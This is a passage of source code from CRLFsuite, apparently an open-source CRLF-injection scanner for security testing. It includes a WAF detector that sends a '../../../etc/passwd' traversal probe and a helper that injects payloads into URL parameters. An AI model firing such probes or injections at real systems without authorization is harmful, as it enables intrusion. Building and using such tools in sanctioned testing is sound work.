| import json 5 | import requests 6 | import warnings 7 | from urllib.parse import urlparse 8 | from crlfsuite.utils.compatible import compatible_path 9 | warnings.filterwarnings('ignore') 10 | 11 | crlfsuite_dir = compatible_path(__file__.replace(compatible_path('/crlfsuite/plugins/wafDetector.py'), '')) 12 | 13 | def WafDetector(url): 14 | """ 15 | Checks if the WAF is online or offline using wafsignatures.json 16 | """ 17 | try: 18 | domain, scheme, path = urlparse(url).netloc, urlparse(url).scheme, urlparse(url).path 19 | url = (scheme+'://'+domain+path) 20 | if not url.endswith('/'): 21 | url = url+'/' 22 | signature_file = crlfsuite_dir+'/crlfsuite/db/wafsignatures.json' 23 | signature_file = compatible_path(signature_file) 24 | with open(signature_file, 'r', encoding='utf-8') as file: 25 | wafsigns = json.load(file) 26 | payload = "../../../etc/passwd" 27 | response = requests.get(url+payload) 28 | code = str(response.status_code) 29 | page = response.text 30 | headers = str(response.headers) 31 | cookie = str(response.cookies.get_dict()) 32 | if int(code) >= 400: 33 | bmatch = [0, None] 34 | for wafname, wafsign in wafsigns.items(): 35 | total_score = 0 36 | pSign = wafsign["page"] 37 | cSign = wafsign["code"] 38 | hSign = wafsign["headers"] 39 | ckSign = wafsign["cookie"] 40 | if pSign: 41 | if re.search(pSign, page, re.I): 42 | total_score += 1 43 | if cSign: 44 | if re.search(cSign, code, re.I): 45 | total_score += 0.5 46 | if hSign: 47 | if re.search(hSign, headers, re.I): 48 | total_score += 1 49 | if ckSign: 50 | if re.search(ckSign, cookie, re.I): 51 | total_score += 1 52 | if total_score > bmatch[0]: 53 | del bmatch[:] 54 | bmatch.extend([total_score, wafname]) 55 | if bmatch[0] != 0: 56 | return bmatch[1] 57 | else: 58 | None 59 | else: 60 | None 61 | except Exception as e: 62 | pass -------------------------------------------------------------------------------- /crlfsuite/utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Raghavd3v/CRLFsuite/b4a0f8f05239ac8d32a7043abd17acf5a5710e1c/crlfsuite/utils/__init__.py -------------------------------------------------------------------------------- /crlfsuite/utils/cleaner.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import os 4 | 5 | def clean(): 6 | """ 7 | removes all the CRLFsuite generated files from the current path 8 | """ 9 | if os.path.isfile('resumable_data.crlfsuite'): 10 | os.remove('resumable_data.crlfsuite') 11 | else: 12 | None 13 | if os.path.isfile('resume.cfg'): 14 | os.remove('resume.cfg') 15 | else: 16 | None -------------------------------------------------------------------------------- /crlfsuite/utils/compatible.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import sys 4 | 5 | def compatible_path(path): 6 | """ 7 | ensures the compatibility with windows 8 | """ 9 | if sys.platform.lower().startswith('win'): 10 | return path.replace('/', '\\') 11 | return path -------------------------------------------------------------------------------- /crlfsuite/utils/inject.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import re 4 | 5 | def inject(url,payload): 6 | """ 7 | Injects the payload in the parameters and returns a set 8 | """ 9 | injected_url = set() 10 | temp_payload = payload.replace('\\n', '$').replace('\\t', '@').replace('\\r', '!') #saves the payload from the removal of \\n, \\t and \\r 11 | injected = re.sub(r"=[^?\|&]*", '=' + str(temp_payload), str(url)) 12 | final_payload = injected.replace('$', '\\n').replace('@', '\\t').replace('!', '\\r') 13 | injected_url.add(final_payload) 14 | 15 | return injected_url -------------------------------------------------------------------------------- /crlfsuite/utils/parser.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from urllib.parse import parse_qs 4 | from http.cookies import SimpleCookie 5 | 6 | def parse_post_data(data): 7 | """ 8 | parses the post data 9 | """ 10 | result = parse_qs(data, strict_parsing=True) 11 | for key in result: 12 | if len(result[key]) == 1: 13 | result[key] = result[key][0] 14 | data = result 15 | 16 | return data 17 | 18 | def parse_cookies(cookies): 19 | """ 20 | converts the raw data to dict 21 | """ 22 | raw_data = cookies 23 | cookie = SimpleCookie() 24 | cookie.load(raw_data) 25 | cookies = {} 26 | for key, morsel in cookie.items(): 27 | cookies[key] = morsel.value 28 | 29 | return cookies 30 | 31 | def extract_headers(headers): 32 | """ 33 | extracts the headers and returns a dict 34 | """ 35 | headers = headers.replace('\\n', '\n') 36 | return parse_headers(headers) 37 | 38 | def parse_headers(string): 39 | """ 40 | parses the headers and creates a dict 41 | """ 42 | new_headers = {} 43 | for line in string.split('\n'): 44 | if len(line) > 1: 45 | splitted = line.split(':') 46 | new_headers[splitted[0]] = ':'.join(splitted[1:]).strip() 47 | 48 | return new_headers 49 | -------------------------------------------------------------------------------- /crlfsuite/utils/percentage.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | def get_percentage(done, total): 4 | """ 5 | returns progress percentage 6 | """ 7 | percentage = (done/total*100) 8 | 9 | return percentage -------------------------------------------------------------------------------- /crlfsuite/utils/randomagents.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import random 4 | 5 | def get_user_agent(): 6 | """ 7 | returns a random User Agent header 8 | """ 9 | user_agent_list = [ 10 | 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 11 | 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36', 12 | 'Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36', 13 | 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36', 14 | 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36', 15 | 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 16 | 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36', 17 | 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36', 18 | 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36', 19 | 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36', 20 | 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)', 21 | 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko', 22 | 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)', 23 | 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', 24 | 'Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko', 25 | 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko', 26 | 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)', 27 | 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko', 28 | 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', 29 | 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko', 30 | 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 31 | 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', 32 | 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)' 33 | ] 34 | 35 | user_agent_header = random.choice(user_agent_list) 36 | user_agent = {'User-Agent': user_agent_header} 37 | 38 | return user_agent -------------------------------------------------------------------------------- /crlfsuite/utils/reader.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | def reader(file): 4 | """ 5 | reads a file and returns its content 6 | """ 7 | with open(file, 'r', encoding='utf-8') as _file: 8 | read = _file.read().splitlines() 9 | 10 | return read -------------------------------------------------------------------------------- /crlfsuite/utils/temp.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | def create_temp_file(urls): 4 | """ 5 | Creates a resumable file so the user can resume the scan in future 6 | """ 7 | with open('resumable_data.crlfsuite', 'w+', encoding='utf-8') as temp_file: 8 | for url in urls: 9 | temp_file.write(url) 10 | temp_file.write('\n') 11 | temp_file.close() -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import warnings 3 | from setuptools import setup, find_packages 4 | warnings.filterwarnings('ignore') 5 | 6 | setup( 7 | name = "CRLFsuite", 8 | version = "2.5.2", 9 | author = "HS Devansh Raghav", 10 | license = "MIT", 11 | keywords = ["CRLFsuite", "Bug Bounty", "pentesting", "security", "CRLF Injection"], 12 | url = "https://github.com/Nefcore/CRLFsuite", 13 | packages=find_packages(), 14 | package_data={'crlfsuite': ['db/*']}, 15 | classifiers=[ 16 | "Intended Audience :: Developers", 17 | "Intended Audience :: Information Technology", 18 | "Topic :: Security", 19 | "License :: OSI Approved :: MIT License", 20 | "Programming Language :: Python", 21 | ], 22 | install_requires=[ 23 | 'colorama', 24 | 'requests', 25 | ], 26 | entry_points={ 27 | 'console_scripts': [ 28 | 'crlfsuite = crlfsuite.__main__:main' 29 | ] 30 | }, 31 | ) -------------------------------------------------------------------------------- /static/CRLFsuite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Raghavd3v/CRLFsuite/b4a0f8f05239ac8d32a7043abd17acf5a5710e1c/static/CRLFsuite.png -------------------------------------------------------------------------------- /static/CRLFsuite_logo2.0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Raghavd3v/CRLFsuite/b4a0f8f05239ac8d32a7043abd17acf5a5710e1c/static/CRLFsuite_logo2.0.png -------------------------------------------------------------------------------- /static/crlfsuite_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Raghavd3v/CRLFsuite/b4a0f8f05239ac8d32a7043abd17acf5a5710e1c/static/crlfsuite_logo.png --------------------------------------------------------------------------------